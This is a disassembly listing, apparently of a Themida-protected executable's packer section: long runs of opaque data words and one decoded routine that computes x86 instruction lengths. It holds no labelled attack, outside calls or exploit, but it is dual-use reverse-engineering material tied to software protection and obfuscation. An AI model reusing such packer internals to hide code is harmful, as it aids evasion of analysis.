		dd 0FB589679h, 134C7B51h, 0F5CA12ACh, 219A3C49h, 4F706875h
		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h, 0AC6833B8h, 8900001Dh, 81682434h,	89000023h
		dd 89572404h, 4C781E7h,	83000000h, 3C8704EFh, 34895C24h
		dd 0B8505124h, 20C45BF4h, 0D07E8C1h, 2553669Bh,	0DD8F748h
		dd 478B72ACh, 6A048805h, 58C18926h, 5459C889h, 8124348Bh
		dd 4C4h, 5A505200h, 5A085689h, 5024348Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 582434FFh, 4C481h, 90E90000h, 1FFFFB00h
		dd 8628DD63h, 197D17B8h, 0FFC50306h, 0D32D00E0h, 6097AE43h
		dd 25DC5F60h, 435AAC32h, 0B4A8157Eh, 5196CE26h,	0D445A658h
		dd 0B3B3D874h, 5A8C4D5Fh, 51E8E834h, 13F10066h,	24635A12h
		dd 0F4080F77h, 0BE8D8D5Ah, 6A06197Eh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8AA5C351h
		dd 0E68166C5h, 8D8920F0h, 6143229h, 2DDBD8Bh, 85C70614h
		dd 614064Dh, 6AE4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0A2C35141h, 9CC33D52h, 85C70863h, 6142671h
		dd 0
		dd 0D79B589h, 0B5FF0614h, 6140591h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 0F0C809DDh, 291E7039h
		dd 1411558Dh, 13E906h, 1B7B0000h, 0CA63D6EDh, 0E01F3AB5h
		dd 29921951h, 0F4D90E84h, 6195FFC3h, 6A061423h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1953C357h, 95177A3Ch, 19259D8Bh, 6A0614h, 116995FFh
		dd 0C08B0614h, 0C6617FEBh, 99221C35h, 3233E3FFh, 6F57630h
		dd 6BCDA2CBh, 0C29A6D4Eh, 159763B9h, 3F01FF07h,	7F151F15h
		dd 4A80CF7Eh, 0A0D95206h, 0F1D59723h, 0F34E59FAh, 4877047Ah
		dd 0CA72ACFh, 482A763Fh, 56E02E88h, 0F41DB1A9h,	5B7B5E67h
		dd 99A0EF4Ah, 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h
		dd 0E018BD67h, 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h
		dd 0D017DA9h, 153E4D7Eh, 764FC208h, 266E9BAh, 66600000h
		dd 0C1F6D98Ch, 35840F04h, 6A000000h, 45B5FF01h,	8D061411h
		dd 1780DB85h, 89D0FF06h, 140CBD85h, 0C1FE8B06h,	680CEFh
		dd 6A200600h, 57026A00h, 1000D68h, 0BD95FF00h, 0E906140Ch
		dd 32h,	1A5985C6h, 68560614h, 0A9C530DFh, 1AD1B5FFh, 858D0614h
		dd 61780DBh, 8589D0FFh,	6142C1Dh, 101858Dh, 6A500614h
		dd 56056A40h, 2C1D95FFh, 0C3610614h, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 197FC585h, 0C428B06h, 7FBD8589h
		dd 428B0619h, 0C1858910h, 8D06197Fh, 197FFBB5h,	0A1858D06h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 6197FC5h, 7FBD858Bh
		dd 0BD830619h, 6197FC1h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		db 0
byte_5A0C05	db 52h,	8Bh, 0D4h	; DATA XREF: Themida_:00549654o
		dd 8428B60h, 7FC58589h,	0B58D0619h, 619804Ch, 8EA1858Dh
		dd 0D0FF005Bh, 858B5A61h, 6197FC5h, 8B0004C2h, 197FC585h
		dd 89008B06h, 197FC585h, 0CF06h
		db 2 dup(0)
word_5A0C3E	dw 8960h		; DATA XREF: Themida_:00549960o
		dd 198022B5h, 1E858906h, 8D061980h, 1412F585h, 44408B06h
		dd 805B8589h, 0B58D0619h, 6198091h, 8EA1858Dh, 0D0FF005Bh
		dd 22858B61h, 0C3061980h, 801E9D8Bh, 0B70F0619h, 0D8033C43h
		dd 3785B8Bh, 19801E9Dh,	24738B06h, 801EB503h, 8B560619h
		dd 738B207Bh, 1EBD031Ch, 3061980h, 19801EB5h, 0C983FC06h
		dd 9D8B41FFh, 6198022h,	9503178Bh, 619801Eh, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 619801Eh,	80228589h, 0F08B0619h, 0C18BCE8Bh
		dd 805BBD81h, 619h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 5BBD8B00h, 83061980h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 805BBD81h, 619h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 5BBD8100h, 61980h, 0FC03000h, 0E84h,	3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 7FC9858Dh, 85890619h, 61431D1h
		dd 805F858Dh, 85890619h, 6140D81h, 8026858Dh, 85890619h
		dd 6140A75h, 1D47134Ch,	2963BF26h, 0F0216398h, 4357131h
		dd 7849354Ah, 0FE9870FCh, 83DB85D5h, 31A58571h,	0D335F170h
		dd 1F3105A0h, 2355886Ah, 3E9933E0h, 319815FFh, 8BFE553Dh
		dd 0BAFEB754h, 0E771548Ch, 3E9835A4h, 3198335Ah, 515FB4E9h
		dd 66F6B1DFh, 9A5D8F1Ch, 3C25B663h, 319E2185h, 31A8B140h
		dd 0F81935A7h, 7324E70Dh, 319B9900h, 66985FF4h,	31983692h
		dd 0F2C7153Dh, 15E4BCC1h, 15DCB44Bh, 319820A3h,	0F2CF72D3h
		dd 0B5975413h, 319835F4h, 0B4156ECCh, 3781B4CCh, 0D9C935F4h
		dd 3198354Ch, 685B6C87h, 35BC795Ah, 35BC7168h, 319835E2h
		dd 0BC5B643Bh, 0BB97ACD3h, 31983598h, 300CF4CEh, 6108403Dh
		dd 3198323Bh, 95DD7E9h,	786B8650h, 0A1C2E2F0h, 0D9CD3557h
		dd 3198359Dh, 6C5B686Fh, 35BC592Eh, 35BC7152h, 319835F0h
		dd 0CB5B60B1h, 0FA57FA69h, 321C3A58h, 3E98359Eh, 0B415C7F8h
		dd 3781B474h, 3189B6DCh, 3D7135E9h, 919835F4h, 145CD80Bh
		dd 4F1FA551h, 0A1036B99h, 0D9C8DAC5h, 319835AFh, 8E235E9Bh
		dd 9A2A9BD4h, 3198BFFBh, 0A1C7357Ah, 319832D5h,	754CE59Eh
		dd 685B1D7Fh, 31983B4Fh, 3ADA4FD3h, 0F946F1B9h,	0CEB7207Bh
		dd 0D81F33C3h, 31983535h, 0AEA41987h, 0D7B7B38Ch, 0A4676BF9h
		dd 378C3CBEh, 0A92DD453h, 5B58BE8Ah, 3270627Ah,	1198353Dh
		dd 0B8C7F6C1h, 0B09C1133h, 299C11E3h, 769835D3h, 0E30FF6BEh
		dd 0D9FEB87Ah, 3198357Ch, 6096D94Ch, 36718481h,	2698354Fh
		dd 6BD3C02Ah, 0B2C7640Bh, 25A88454h, 38ED35F2h,	2B7988F9h
		dd 45983329h, 0BACB6587h, 35E28D8Fh, 0B41135A7h, 378C2F9Ah
		dd 86A2A864h, 0E26733E2h, 8C1B6D21h, 378C2FDCh,	618F419Eh
		dd 35E28D1Ch, 0B41135A7h, 378C2F9Ah, 85B1A864h,	0E26733E2h
		dd 51606D21h, 0EB8A8E5Bh, 6F8987CFh, 93EC8A2Eh,	0F11340CCh
		dd 0D9CF35B9h, 319835EAh, 6E5B6AD4h, 35BC49F3h,	35BC71BCh
		dd 31983586h, 275B6208h, 0B678F0FDh, 0AB215381h, 0BC616F9Ch
		dd 2819EE69h, 319FDC7Ch, 0FA32353Dh, 0EF14F3A8h, 0D01DB88Fh
		dd 0C99E2CC7h, 31F2E52Ch, 319BDDBCh, 6CB835F4h,	5D1168B9h
		dd 75193119h, 318C31BAh, 64DD354Fh, 0F1937B64h,	31E3B1DCh
		dd 31F235E9h, 319BDDA7h, 6AB8357Ah, 6D116EFEh, 751931BAh
		dd 3183316Bh, 62DB35A7h, 2602A510h, 0A130B05Ch,	26173A97h
		dd 0D898357Ah, 3198352Fh, 33DDC37Ch, 0A95D37FAh, 0F99C902Dh
		dd 6DA6D736h, 0AC155C6Ch, 378C788Dh, 0FB72B41Ch, 319B8D95h
		dd 2E22359Eh, 0CEF97940h, 63985F44h, 3198363Bh,	0F2C215E9h
		dd 15CCBCAEh, 15DCB47Eh, 31982C39h, 0F2CA779Eh,	0E3DDF3BEh
		dd 0BAFE0C23h, 0D205B821h, 5B9E2C68h, 327067F4h, 1198357Ah
		dd 0B8C2F667h, 0B09C11CAh, 2D9C110Bh, 739835A7h, 0D60DF681h
		dd 0F262562Fh, 0BCA8BE87h, 28F8D4FFh, 62985F3Bh, 31983676h
		dd 0F2C3154Fh, 15C4BCFCh, 15DCB4D7h, 319823EDh,	0F2CB76F4h
		dd 804851CAh, 5B48CA55h, 3270679Eh, 1198354Fh, 0B8C2F6FDh
		dd 0B09C1187h, 2C9C11ADh, 739835F4h, 39E2F628h,	0E0A311FCh
		dd 8F6C5B72h, 7F6EB429h, 3E583E30h, 31987157h, 0FA1353E9h
		dd 0AC15E245h, 378C7803h, 319BBE32h, 8E97359Eh,	31998DB9h
		dd 0E61935A7h, 6B15802h, 3E71D616h, 359835F4h, 7E5CAA9Dh
		dd 1A705B05h, 8B186AECh, 0BA976E25h, 319835AEh,	319BB2DCh
		dd 0BAFE35E9h, 0D905B80Dh, 0B09E2CFBh, 62C934DCh, 0D01DB89Eh
		dd 0D99E2C2Fh, 319835ABh, 0BBFEA42h, 0F5B7E180h, 777852Bh
		dd 5748CA23h, 3A790A82h, 0B1C3A5Eh, 5798354Fh, 3E88E318h
		dd 0AC15C66Ch, 378C7890h, 0BA6FB492h, 261C3A9Bh, 3E98353Dh
		dd 31982416h, 3194DC4Fh, 0EAB935A7h, 0E8F91F6Ah, 0EB82AF7Ch
		dd 32203DD4h, 0CE98357Ah, 0BB69BEDEh, 0F0197676h, 1DFC11Dh
		dd 0B049882Ah, 0BC1533CAh, 3781B3E4h, 7AC4484Ch, 6C1D06F0h
		dd 1A9E2117h, 3371F451h, 68D205B8h, 0F45B9E2Ch,	7A327067h
		dd 67119835h, 0CAB8C2F6h, 0BB09C11h, 0F305E983h, 6AC08BA4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3A49C352h, 66A4CCBBh, 0B1548BBEh,	0FC38B44h
		dd 8166CEB7h, 8B6912E9h, 0CA8B66C0h, 83F78B66h,	1430B1BDh
		dd 9750006h, 1AE1BD83h,	74000614h, 8B535019h, 47AB8C0h
		dd 85890000h, 61430C1h,	0B7A19D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6141AE1h, 50177400h,	47AB853h, 85890000h, 61430C1h
		dd 0B4429D8Dh, 0D3FF0616h, 0B70F585Bh, 0E9C08BCFh, 7, 56453DEFh
		dd 0E9000000h, 537h, 68BA05D7h,	2375488Bh, 0DD2F8C46h
		dd 92E4D500h, 499B22B5h, 0CF08A810h, 12BF9CEEh,	607855A7h
		dd 0A6300D5Fh, 2FB7C315h, 0B6E4329h, 0F55C5758h, 0AFF7C412h
		dd 0E7FBE1E7h, 0E70F51F1h, 79464EB8h, 5AB25E5Dh, 6B7202Bh
		dd 0BCFFD7B4h, 0E8D30310h, 19A42F3Ch, 12DFF76Dh, 0F54DF9C6h
		dd 23D674C6h, 913D8256h, 0D7FF0A39h, 223BCF25h,	0CD1A168Eh
		dd 0C81AB209h, 421619F0h, 6B7B80D3h, 4CA4506Bh,	5E7A85B4h
		dd 6A370F61h, 98A5516Eh, 0BAE9813Ah, 0F2E129AFh, 0BF121FCBh
		dd 5EF64EFAh, 21B17EC6h, 31C9F0E5h, 21CDEEE4h, 23309AC9h
		dd 407D56AEh, 929860A8h, 51F27EACh, 0FF6998C0h,	2EDADFF2h
		dd 5E0AB121h, 0E7CA88ECh, 0A62FFC52h, 0F092E413h, 686E9C3Ch
		dd 0EACF0653h, 64EE63Eh, 7F52383Eh, 3E6651F2h, 0B422FF0Fh
		dd 8C388552h, 0AAF09C34h, 51F27EC7h, 28AE7B43h,	70126493h
		dd 0ED5B0A5Bh, 518754FEh, 77D93F6Eh, 0F0000000h, 8F42C412h
		dd 8E267E2Ah, 0E7B89CE2h, 223651F1h, 0F1FA6B60h, 9C64FEEDh
		dd 0F1F3B096h, 563C4251h, 6A51F1F4h, 399F7C42h,	59BFEE86h
		dd 6, 6D4E8451h, 0C112573Eh, 904350FCh,	6174812Dh, 512D9099h
		dd 8B23DE85h, 7A5169DFh, 0E34CC6AFh, 0C2144343h, 0A3A97180h
		dd 51F287BDh, 6F7AA9D1h, 44115964h, 72846E8Eh, 0F5646B5Dh
		dd 2A59B15Dh, 22993D1Ah, 0C51217D0h, 943F4CF8h,	0A70B7D29h
		dd 378651EBh, 0EDCE08E5h, 1D9E3441h, 8AC8EA71h
		dd 0EDEF6411h, 0ACBAFEh, 12D10000h, 0E3B0F8C5h,	2E98C7F2h
		dd 354BB121h, 3DFD46Ch,	0A76FB74Fh, 0F2CABBA1h,	78A7CF51h
		dd 0E8D7010Eh, 13A62F3Ch, 0CD8DF167h, 0B0D236ECh, 10625B7Ch
		dd 846A7038h, 751F2CBh,	1D6C2F95h, 0CFF7BD59h, 0C64295A0h
		dd 0E1DAF812h, 0F805B149h, 0A930DCDDh, 0A5D0CB87h, 79FEEDC9h
		dd 6Dh,	48C51290h, 0F1E85C42h, 0B0487051h, 1FE1F704h, 0E391E7B0h
		dd 1D65FD70h, 0AB5CD646h, 653150D0h, 0ED8704B2h, 0F6608F27h
		dd 23CFEEE9h, 52FEBB16h, 53F5BFDh, 0E840ECD3h, 5AF8DC50h
		dd 368835A2h, 7544915Eh, 7441272Dh, 2D5551F2h, 0C11217FEh
		dd 270A50FCh, 0A351F1E8h, 8DD8F38Fh, 0D1FEEDF1h, 0A0EDCE04h
		dd 0F55B8A33h, 1, 0FBC0120Ch, 797F474Fh, 51F1E793h, 45507FA7h
		dd 297E2A91h, 0EFCC06D3h, 182C6EC0h, 0D3AF01BAh, 6B71B965h
		dd 57E50354h, 0EEF6A2CAh, 43A2026h, 264E5806h, 0D1EAECF7h
		dd 47D3B289h, 0CE1AD690h, 24B28F9Fh, 0C1A5EB97h, 235806ADh
		dd 0EDE9033Fh, 95AF86CEh, 885A4C1Eh, 8D6A2F3Bh,	18F19836h
		dd 0DAFCD9E9h, 0AE2835E1h, 8BEF610Dh, 5BA135CFh, 7927DD46h
		dd 0ADFF9732h, 0D900F66Fh, 10F08F8h, 171F0000h,	0FF2E8B4Ah
		dd 8FD787F5h, 13F9FFC7h, 2751F1E8h, 558CD0FFh, 0B57E50Dh
		dd 0AC2A37E3h, 18E5BD0Fh, 0F850FCBDh, 0EE18BEC9h, 0D028D4E9h
		dd 0B7848C38h, 854E9B1Eh, 5348C38h, 33DFDCFAh, 600CB126h
		dd 0EA378253h, 8FBA13E7h, 0CD882F6Bh, 0B3178935h, 0FC601297h
		dd 8B30A65Eh, 896AFB39h, 3B94F8D9h, 0AB000000h,	0B0F8A613h
		dd 0F1E7E4AAh, 0E490B8D1h, 0F1E7B89Eh, 7D8C45D1h, 0F1E79177h
		dd 0E57DA5D1h, 12AB2C39h, 0F290F466h, 0D57599EFh, 0C30BB320h
		dd 0F1E7F7BDh, 51A3CB51h, 7073h, 0A513CA00h, 0F0ABB1F9h
		dd 9E57E510h, 0F5C2CA76h, 0A5B0DFDEh, 5B388A31h, 4E94407Bh
		dd 5805F26Dh, 6E6431C9h, 1A49A14Dh, 64728AC8h, 0BB290557h
		dd 1AC5CB13h, 0A85DFC79h, 1DB508CBh, 644DFED5h,	2E8536A0h
		dd 4B7A8B26h, 0B902D4E1h, 7416B80Dh, 0E2F653C1h, 41D931DDh
		dd 13AC2CF9h, 2DD8DEE4h, 0BB6415D9h, 597E4B93h,	2BABB864h
		dd 0B9C9F890h, 0F9A51300h, 6F00ABB1h, 3F0C57E8h, 237B2792h
		dd 9C4870F4h, 2274478Fh, 0E22A9145h, 6E2E141Ah,	1A42580Bh
		dd 0B17981EBh, 0B6DC5ABh, 82B1D958h, 4640563Eh,	480A6E06h
		dd 5EBF1B9h, 19A86820h,	1FB7C2F1h, 9B724A9Ch, 96F90738h
		dd 0D8E31200h, 411BDFEh, 6B6B38D1h, 0C64CA450h,	0A868C6E0h
		dd 8834CCF4h, 3BF19133h, 1D8209Bh, 413E93A3h, 0A2B2E14Fh
		dd 62AA11C5h, 7B82908Bh, 37085F5Ah, 0F6608FEEh,	3A2026EEh
		dd 4EA86875h, 0FEBF726h, 23000000h, 0F3E7B56h, 894A1728h
		dd 1308834h, 0CA1261C8h, 9A3C49F5h, 70687521h, 3B96A34Fh
		dd 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h
		dd 5333B864h, 0C3815B54h, 4, 8704EB83h,	575C241Ch, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0EC83240Ch,	242C8904h, 1986C568h
		dd 240C8B06h, 5404C483h, 81242C8Bh, 4C4h, 8B85000h, 2D000000h
		dd 2A4F02E0h, 0E005E801h, 892A4F02h, 34FF5808h,	0C4815D24h
		dd 4, 592434FFh, 0E904C483h, 0FFFAF22Bh, 0B98F1C90h, 0B89682F6h
		dd 6198B8Ch, 0E0FFC503h, 7D12F80Dh, 4CF81353h, 5F04F3A1h
		dd 10AB7509h, 7DED3084h, 5E8h, 0B8F80600h, 666073D3h, 5032D281h
		dd 6890Fh, 820F0000h, 0
		dd 0BA665E61h, 0C681F75Fh, 5BA8h, 0B068F88Bh, 0F000016h
		dd 58Ch, 8B665300h, 66595AC2h, 0FF8159BFh, 8DEA8036h, 9E85Bh
		dd 0ED5B0000h, 4D3EB516h, 66D68D7Eh, 0E7DAD781h, 1CC3815Fh
		dd 0F6E1AE3h, 688h, 2AD78100h, 813D59A1h, 408C81EBh, 8120B209h
		dd 8BD4C8F3h, 8166602Bh, 0F118DC2h, 1086h, 0AE800h, 0A09E0000h
		dd 9374723Eh, 900F3417h, 0F53615Bh, 68FC2B7h, 135F0EB8h
		dd 39EE8119h, 667EB54Ah, 73D0D081h, 4A35C681h, 0BF0F7EB5h
		dd 850F49C3h, 19h, 7BDA8166h, 2BE913h, 7E80000h, 239F5C98h
		dd 36755144h, 8B19C8F8h, 68F0F56h, 81000000h, 815A72CAh
		dd 0FF59E902h, 0CE96FFFFh, 2812E7E1h, 3F536395h, 1C8E937h
		dd 88880000h, 7	dup(88880041h),	41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 0CC20000h, 758F2900h, 10000h, 11h dup(0)
		dd 53E90000h
		db 3, 2	dup(0)
byte_5A1ABB	db 55h			; DATA XREF: Themida_:005497E0o
		dd 0E8h, 0ED815D00h, 6198EE2h, 2F85C760h, 6198Eh, 66000000h
		dd 0A1663E81h, 0F850Fh,	85C70000h, 6198E33h, 6,	24E9h
		dd 37858D00h, 5006198Eh, 8E87858Dh, 56500619h, 1DE8006Ah
		dd 83000000h, 0FF2510C4h, 89000000h, 198E3385h,	0B5036106h
		dd 6198E33h, 8E2F858Bh,	0C35D0619h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A1B4D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A1B59
; ---------------------------------------------------------------------------


loc_5A1B4D:				; CODE XREF: Themida_:005A1B36j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A1B59:				; CODE XREF: Themida_:005A1B48j
		push	ebx
		push	esi
		push	edi


loc_5A1B5C:				; CODE XREF: Themida_:005A1BB1j
					; Themida_:005A1BCDj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A1B6F:				; CODE XREF: Themida_:005A1B96j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6198F99h
		lea	ebp, [ebp+6198E0Fh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A1B9C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A1B6F


loc_5A1B9C:				; CODE XREF: Themida_:005A1B8Bj
		cmp	cl, 0Bh
		jz	loc_5A1BF9
		cmp	al, 66h
		jnz	loc_5A1BDA
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A1B5C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A1BD2
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A1B5C
; ---------------------------------------------------------------------------


loc_5A1BD2:				; CODE XREF: Themida_:005A1BBFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A1BDA:				; CODE XREF: Themida_:005A1BA7j
		cmp	al, 67h
		jnz	loc_5A1B5C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A1B5C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A1B5C
; ---------------------------------------------------------------------------


loc_5A1BF9:				; CODE XREF: Themida_:005A1B9Fj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A1C25
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A1C2A
; ---------------------------------------------------------------------------


loc_5A1C25:				; CODE XREF: Themida_:005A1C04j
		movzx	edi, al
		shr	edi, 1


loc_5A1C2A:				; CODE XREF: Themida_:005A1C20j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199051h
		lea	ebp, [ebp+6198D0Fh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A1DAC
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A1CF0
		dec	ecx
		jz	loc_5A1CD3
		dec	ecx
		jnz	loc_5A1D43
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1D3F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A1CB2
		mov	byte ptr [ebp+0Bh], 2


loc_5A1CB2:				; CODE XREF: Themida_:005A1CA8j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61990DDh
		mov	dword ptr [ebp+6198E2Fh], 1
		pop	ebp
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1CD3:				; CODE XREF: Themida_:005A1C8Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1D1D
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A1D1D
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A1D1D
; ---------------------------------------------------------------------------


loc_5A1CF0:				; CODE XREF: Themida_:005A1C86j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1D36
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A1D25
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A1D1D
		mov	[ebp+0Bh], cl


loc_5A1D1D:				; CODE XREF: Themida_:005A1CD7j
					; Themida_:005A1CE1j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1D25:				; CODE XREF: Themida_:005A1CFEj
		cmp	dl, 5
		jnz	loc_5A1D43
		mov	[ebp+0Bh], dl
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1D36:				; CODE XREF: Themida_:005A1CF4j
		cmp	dl, 6
		jnz	loc_5A1D43


loc_5A1D3F:				; CODE XREF: Themida_:005A1C9Ej
		mov	byte ptr [ebp+0Bh], 3


loc_5A1D43:				; CODE XREF: Themida_:005A1C94j
					; Themida_:005A1CCEj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A1D71
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A1D53:				; CODE XREF: Themida_:005A1D69j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A1D53
		mov	esi, edx


loc_5A1D71:				; CODE XREF: Themida_:005A1D46j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A1DA6
		cmp	edi, 7Fh
		ja	loc_5A1DA6
		test	bl, 38h
		jnz	loc_5A1DA6
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A1DA0
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A1DA3
; ---------------------------------------------------------------------------


loc_5A1DA0:				; CODE XREF: Themida_:005A1D91j
		push	1
		pop	eax


loc_5A1DA3:				; CODE XREF: Themida_:005A1D9Bj
		mov	[ebp-1], al


loc_5A1DA6:				; CODE XREF: Themida_:005A1D75j
					; Themida_:005A1D7Ej ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A1DAC:				; CODE XREF: Themida_:005A1C56j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A1DD7
		dec	eax
		dec	eax
		jz	loc_5A1DCD
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A1DDF
; ---------------------------------------------------------------------------


loc_5A1DCD:				; CODE XREF: Themida_:005A1DBCj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A1DDC
; ---------------------------------------------------------------------------


loc_5A1DD7:				; CODE XREF: Themida_:005A1DB4j
		mov	al, [ebp-3]
		add	al, 4


loc_5A1DDC:				; CODE XREF: Themida_:005A1DD2j
		add	[ebp-1], al


loc_5A1DDF:				; CODE XREF: Themida_:005A1DC8j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A1E07
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A1DF2:				; CODE XREF: Themida_:005A1E01j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A1DF2


loc_5A1E07:				; CODE XREF: Themida_:005A1DE7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 6198EDCh, 0C018589h,	12E80614h, 0D4000000h, 0DF4618F3h
		dd 0CA480CC2h, 2865B9ECh, 0AB744A3Eh, 10E85Ch, 55E90000h
		dd 7C8EF382h, 0BF646DC8h, 647E926Ch, 0CC8094D6h, 815B5907h
		dd 0B4568FF0h, 0B1C38164h, 8100005Ch, 950025EEh, 1126BF4Ch
		dd 0EF814388h, 4387FA28h, 13E9h, 0B93C8600h, 98652915h
		dd 0FD50DA2Ah, 39316CB4h, 29018187h, 0C281138Bh, 7D5EE9B9h
		dd 7E857h, 866D0000h, 0A8587421h, 5958F98Dh, 0F034C281h
		dd 0BE662500h, 0C2815FA4h, 14C4ECB9h, 52C3BF0Fh, 0D1D48060h
		dd 4442BB66h, 66038F61h, 5886E081h, 95B8EB81h, 0C3817188h
		dd 718895B4h, 5E9h, 80F33C00h, 0F4FD38Eh, 0FFFFA785h
dword_5A1ED8	dd 0CA8B66FFh, 53E9h, 890CCD00h, 15h, 0C51C5700h, 6148434Ah
					; DATA XREF: Themida_:0054B9ECo
